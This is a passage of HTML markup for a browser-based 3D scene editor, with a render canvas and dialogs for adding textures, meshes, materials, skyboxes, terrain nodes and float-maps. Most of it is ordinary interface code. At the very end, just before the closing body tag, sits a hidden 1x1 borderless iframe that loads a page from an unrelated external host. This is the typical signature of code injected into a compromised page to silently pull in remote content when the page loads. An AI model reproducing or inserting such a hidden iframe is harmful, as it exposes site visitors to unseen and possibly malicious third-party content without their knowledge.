            <button onclick='$("#addMeshDialog").dialog("open");' class="button_with_icon">
              <img src="icons/add.gif"></img>
            </button>
            <button onclick='removeMesh()' class="button_with_icon">
              <img src="icons/recycle_bin.gif"></img>
            </button>
          </p>
          --Display------------------------------
          <table>
          <tr>
            <td>Aabb</td><td><input type="checkbox" id="MeshManager_DisplayAabb" onclick="updateMeshScreenDisplayOption();"></td>
          </tr>
          <tr>
            <td>Bounding Sphere</td><td><input type="checkbox" id="MeshManager_DisplaySphere" onclick="updateMeshScreenDisplayOption();"></td>
          </tr>
          <tr>
            <td>Texture</td><td><select id="MeshManager_DisplayTextureList" onchange="updateMeshScreenDisplayOption()"></select></td>
          </tr>
          <tr>
            <td>Distance From Camera</td><td><input id="MeshManager_DistanceFromCamera" type="text" disabled=true /> </td>
          </tr>
          </table>
        </div>
      </div>
    </td>
    <td width="640px">
      <canvas id="cavans_id" width="640" height="512"></canvas>
      <p>FPS: <input id="fps" type="text" readonly="readonly" value="sampling..." size="5"/>
    </td>
    <td width="300px">
      <div id="info_tabs">
        <ul>
        <li><a href="#nothing"><span>/</span></a></li>
        </ul>
        <div id="nothing">Nothing to display</div>
      </div>
    </td>
    </tr>
  </table>
  <!-- ADD TEXTURE DIAGLOG -->
  <div id="addTextureDialog" title="Add texture">
    <table>
    <tr>
      <td>Name</td><td><input type="text" id="addTextureDialog_Name"/></td>
    </tr>
    <tr>
      <td>URL</td><td><input type="text" id="addTextureDialog_URL"/><button class="button_with_icon" id="addTextureDialog_Browser"><IMG SRC="icons/open.gif"></button> 
      </td>
    </tr>
    <tr>
      <td>Format</td><td><select id="addTextureDialog_Format">
        <option value="RGB">RGB</option>
        <option value="RGBA">RGBA</option>
        <option value="ALPHA">ALPHA</option>
        <option value="LUMINANCE">LUMINANCE</option>
        <option value="LUMINANCE_ALPHA">LUMINANCE_ALPHA</option>
      </select></td>
    </tr>
    <tr>
      <td>MagFilter</td><td><select id="addTextureDialog_MagFilter">
        <option value="LINEAR">LINEAR</option>
        <option value="NEAREST">NEAREST</option>
      </select></td>
    </tr>
    <tr>
      <td>MinFilter</td><td><select id="addTextureDialog_MinFilter">
        <option value="LINEAR_MIPMAP_LINEAR">LINEAR_MIPMAP_LINEAR</option>
        <option value="LINEAR">LINEAR</option>
        <option value="NEAREST_MIPMAP_NEAREST">NEAREST_MIPMAP_NEAREST</option>
        <option value="LINEAR_MIPMAP_NEAREST">LINEAR_MIPMAP_NEAREST</option>
        <option value="NEAREST_MIPMAP_LINEAR">NEAREST_MIPMAP_LINEAR</option>
        <option value="NEAREST">NEAREST</option>        
      </select></td>
    </tr>
    <tr>
      <td>WrapS</td><td><select id="addTextureDialog_WrapS">
        <option value="REPEAT">REPEAT</option>
        <option value="CLAMP_TO_EDGE">CLAMP_TO_EDGE</option>
        <option value="MIRRORED_REPEAT">MIRRORED_REPEAT</option>
      </select></td>
    </tr>
    <tr>
      <td>WrapT</td><td><select id="addTextureDialog_WrapT">
        <option value="REPEAT">REPEAT</option>
        <option value="CLAMP_TO_EDGE">CLAMP_TO_EDGE</option>
        <option value="MIRRORED_REPEAT">MIRRORED_REPEAT</option>
      </select></td>
    </tr>
    <tr><td colspan=2><input type="checkbox" checked=true id="addTextureDialog_IsGenerateMipmap"/>IsGenerateMipmap</td></tr>
    <tr><td colspan=2><input type="checkbox" checked=true id="addTextureDialog_IsFlipY"/>IsFlipY</td></tr>
    <tr><td colspan=2><input type="checkbox" checked=true id="addTextureDialog_IsPremultiedAlpha"/>IsPremultipliedAlpha </td></tr>
    </tr>
    </table>
  </div>
  <!--END OF ADD_TEXTURE_DIAGLOG -->
  
  <!-- MOD_TEXTURE_DIAGLOG -->
  <div id="modTextureDialog" title="Mod texture">
    <table>
    <tr>
      <td>MagFilter</td><td><select id="modTextureDialog_MagFilter">
        <option value="LINEAR">LINEAR</option>
        <option value="NEAREST">NEAREST</option>
      </select></td>
    </tr>
    <tr>
      <td>MinFilter</td><td><select id="modTextureDialog_MinFilter">
        <option value="LINEAR_MIPMAP_LINEAR">LINEAR_MIPMAP_LINEAR</option>
        <option value="LINEAR">LINEAR</option>
        <option value="NEAREST_MIPMAP_NEAREST">NEAREST_MIPMAP_NEAREST</option>
        <option value="LINEAR_MIPMAP_NEAREST">LINEAR_MIPMAP_NEAREST</option>
        <option value="NEAREST_MIPMAP_LINEAR">NEAREST_MIPMAP_LINEAR</option>
        <option value="NEAREST">NEAREST</option>        
      </select></td>
    </tr>
    <tr>
      <td>WrapS</td><td><select id="modTextureDialog_WrapS">
        <option value="REPEAT">REPEAT</option>
        <option value="CLAMP_TO_EDGE">CLAMP_TO_EDGE</option>
        <option value="MIRRORED_REPEAT">MIRRORED_REPEAT</option>
      </select></td>
    </tr>
    <tr>
      <td>WrapT</td><td><select id="modTextureDialog_WrapT">
        <option value="REPEAT">REPEAT</option>
        <option value="CLAMP_TO_EDGE">CLAMP_TO_EDGE</option>
        <option value="MIRRORED_REPEAT">MIRRORED_REPEAT</option>
      </select></td>
    </tr>
    <tr>
      <td><input type="checkbox" checked=true id="modTextureDialog_IsGenerateMipmap" disabled=true/>IsGenerateMipmap</td>
      <td><input type="checkbox" checked=true id="modTextureDialog_IsFlipY" disabled=true/>IsFlipY</td>
    </tr>
    </table>
  </div>
  <!--END OF MOD_TEXTURE_DIAGLOG -->
  
  <!-- ADD MESH DIAGLOG -->
  <div id="addMeshDialog" title="Add Mesh">
    <table>
    <tr>
      <td>Name</td><td><input type="text" id="addMeshDialog_Name"/></td>
    </tr>
    <tr>
      <td>URL</td><td><input type="text" id="addMeshDialog_URL"/><button class="button_with_icon" id="addMeshDialog_Browser"><IMG SRC="icons/open.gif"></button></td>
    </tr>    
    <tr>
      <td><input type="checkbox" checked=true id="addMeshDialog_IsCreateVBO"/>IsCreateVBO</td>
    </tr>
    </table>
  </div>
  <!--END OF ADD_MESH_DIAGLOG -->
  
  <!-- ADD SKYBOX_EFFECT DIAGLOG -->
  <div id="addSkyboxEffectDialog" title="Add SkyboxEffect">
    <table>
    <tr>
      <td>Skybox texture :<select id="addSkyboxEffectDialog_TextureList"></select></td>
    </tr>
    <tr>
      <td>Box size:<input type="text" id="addSkyboxEffectDialog_Size"/></td>
    </tr>
    </table>
  </div>
  <!--END OF ADD_Skybox_EFFECT_DIAGLOG -->
  
  <!-- ADD Material DIAGLOG -->
  <div id="addMaterialDialog" title="Add Material">
    <table>
      <tr>
      <td>Type</td><td><select id="addMaterialDialog_TypeList">
                <option value="PhongMaterial">PhongMaterial</option>
                <option value="CSMMaterial">CSMMaterial</option>
                <option value="GrassMaterial">GrassMaterial</option>
                <option value="ParticleMaterial">ParticleMaterial</option>
                <option value="WaterMaterial">WaterMaterial</option>
                <option value="TerrainMaterial">TerrainMaterial</option>
               </select></td>
    </tr>
    <tr>
      <td>Name</td><td><input type="text" id="addMaterialDialog_Name"/></td>
    </tr>
    </table>
  </div>
  <!--END OF Material DIAGLOG -->
  
  <!-- ADD TerrainNode DIAGLOG -->
  <div id="addTerrainNodeDialog" title="Add Terrain Node">
    <table>
    <tr>
      <td>Name:</td><td><input type="text" id="addTerrainNodeDialog_Name"/></td>
    </tr>
    <tr>
      <td>Clipmap size:</td><td><input value="64.0" type="text" id="addTerrainNodeDialog_ClipmapSize"/></td>
    </tr>
    <tr>
      <td>Grid space:</td><td><input value="1" type="text" id="addTerrainNodeDialog_GridSpace"/></td>
    </tr>
    <tr>
      <td>Level count:</td><td><input value="6" type="text" id="addTerrainNodeDialog_LevelCount"/></td>
    </tr>
    </table>
  </div>
  <!--END OF TerrainNode DIAGLOG -->
  
  <!-- ADD Node DIAGLOG -->
  <div id="addNodeDialog" title="Add Node">
    <table>
    <tr>
      <td>Name:<input type="text" id="addNodeDialog_Name"/></td>
    </tr>
    </table>
  </div>
  <!--END OF Node DIAGLOG -->
  
  <!-- SAVE_FILE_DIAGLOG -->
  <div id="saveFileDialog" title="Save as">
    <table>
    <tr>
      <td>Filename :</td><td><input type="text" id="saveFileDialog_Filename"/></td><td>.gsg</td>
    </tr>
    </table>
  </div>
  <!--END OF SAVE_FILE_DIAGLOG -->
  <!-- OPEN_FILE_DIAGLOG -->
  <div id="openFileDialog" title="Open">
    <table>
    <tr>
      <td>Filename :</td><td><input type="text" id="openFileDialog_Filename"/></td><td>.gsg</td>
    </tr>
    </table>
  </div>
  <!--END OF OPEN_FILE_DIAGLOG -->
  
  <!-- ADD Floatmap DIAGLOG -->
  <div id="addFloatmapDialog" title="Add Float-map">
    <table>
    <tr>
      <td>Name</td><td><input type="text" id="addFloatmapDialog_Name"/></td>
    </tr>    
    <tr>
      <td>URL</td><td><input type="text" id="addFloatmapDialog_URL"/><button class="button_with_icon" id="addFloatmapDialog_Browser"><IMG SRC="icons/open.gif"></button> </td>
    </tr>
    </table>
  </div>
  <!--END OF Node DIAGLOG --> 
  
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>                  